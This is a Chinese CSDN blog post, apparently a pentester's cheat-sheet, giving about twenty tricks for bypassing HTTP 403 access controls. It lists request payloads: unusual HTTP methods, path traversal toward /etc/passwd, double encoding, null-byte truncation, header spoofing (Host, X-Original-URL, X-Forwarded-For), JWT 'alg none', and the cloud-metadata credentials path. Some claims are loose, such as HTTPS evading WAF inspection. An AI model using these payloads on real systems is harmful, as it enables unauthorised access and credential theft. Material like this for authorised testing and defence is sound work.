403？不存在的！网络安全老炮儿教你20招“瞒天过海”

小杰的网工专栏

于 2025-04-16 10:48:24 发布

阅读量926

点赞数 30

文章标签： web安全安全网络面试 java

本文链接：https://blog.csdn.net/bigbangbangbang1/article/details/147271600

版权

403 Forbidden，这玩意儿在Web安全圈里就是个拦路虎。服务器跟你说“懂了，但我不让你过”，听着就来气！今天咱不讲那些虚头巴脑的理论，直接上干货，掏出我这些年实战总结的20个bypass绝技，保证让你看完能绕过大部分403，横行网络世界！（当然，仅限授权渗透测试啊，别瞎搞！）

HTTP/1.0：爷爷辈的协议，照样能阴你一下！

bash curl -0 -H "Host: target.com" http://target.com/protected/

别看HTTP/1.0老掉牙了，有些服务器就是对它放松警惕。你用这玩意儿一试，说不定就绕过去了，就问你气不气？
1. POST算啥？PATCH、ARBITRARY才是真爱！
bash curl -X PATCH http://target.com/admin curl -X ARBITRARY http://target.com/config

谁说只能用GET、POST？换个姿势，说不定就能“蒙混过关”。我就遇到过，某个云存储服务，对PROPFIND方法直接放行，简直是白给！
1. 80？443？Naive！端口才是障眼法！
http://target.com:8080/admin -> http://target.com:8443/admin

常规端口都给你ban了？换个非常规的！配合Nmap扫一扫，说不定能发现惊喜，隐藏的管理界面就这么被你找到了！
1. 明文？不存在的！HTTPS才是王道！
https://target.com/../http://internal/

明文传输？WAF看得一清二楚！套个HTTPS，加密一下，直接绕过检测，配合SSRF食用，效果更佳！
1. Transfer-Encoding：你永远猜不透我的长度！
python requests.post(url, headers={'Transfer-Encoding': 'chunked'}, data="0 ")

分块编码，懂？把数据分成一块一块的，WAF算不准总长度，直接懵逼！

大小写？URL编码？随便玩玩！

/admin => /ADMIN => /%61dmin => /admin/

Windows系统不区分大小写，URL编码又灵活多变，随便组合一下，总有一款能绕过！
1. 双重编码？你以为我傻？我还三重呢！
/%252e%252e%252f => ../

一层不够？那就两层、三层！我就不信你还能无限解码！
1. 后缀？那玩意儿是用来迷惑你的！
/admin.config => /admin.%20 => /admin..json

服务器解析后缀的优先级不一样，利用这个差异，就能绕过一些简单的限制。
1. Host头？想让我访问谁，就访问谁！
GET / HTTP/1.1 Host: internal-server:8080

反向代理？改个Host头，直接穿透！
1. 参数？我有的是，污染死你！
/api?file=legit&file=../../etc/passwd

同一个参数，传多个值，服务器解析的时候可能会出问题，直接读取敏感文件！
1. 空字节？PHP的“老朋友”！
/admin%00.jpg => /admin.php

PHP老版本有个空字节截断的漏洞，%00一加，直接绕过后缀检查！

X-Original-URL：Nginx的“秘密武器”！

GET / HTTP/1.1 X-Original-URL: /admin

Nginx反向代理有时候会用到这个头，利用它，可以直接访问受限页面。
1. Referer？伪造一个，谁也不爱！
Referer: https://target.com/admin

有些ACL策略会检查Referer，伪造一个来自白名单的Referer，轻松绕过！
1. X-Forwarded-For？IP伪造，谁也拦不住！
X-Forwarded-For: 127.0.0.1

IP白名单？伪造一个内网IP，直接进入！
1. Content-Type？想让我怎么解析，我就怎么写！
Content-Type: application/x-www-form-urlencoded

强制改变请求体解析方式，绕过一些WAF的检测。

Cookie？加点“料”，绕过正则！

Cookie: valid=1; session=xxx

在Cookie里添加一些多余的参数，绕过一些简单的正则校验。
1. JWT？算法改成None，直接裸奔！
{"alg":"none"}

有些JWT实现没正确校验签名算法，把算法改成None，直接就能修改JWT的内容！
1. Basic认证？密码为空，照样能进！
Authorization: Basic

有些服务器允许空密码访问Basic认证，直接发送一个空的Authorization头，说不定就进去了！

GraphQL？内省查询，暴露所有！

graphql query { __schema { types { name } } }

GraphQL的内省查询功能，可以让你发现隐藏的接口，简直是神器！
1. 云元数据？配置不当，泄露所有！
GET /latest/meta-data/iam/security-credentials/

AWS/Aliyun的元数据服务，如果配置不当，可以直接泄露AK/SK，后果不堪设想！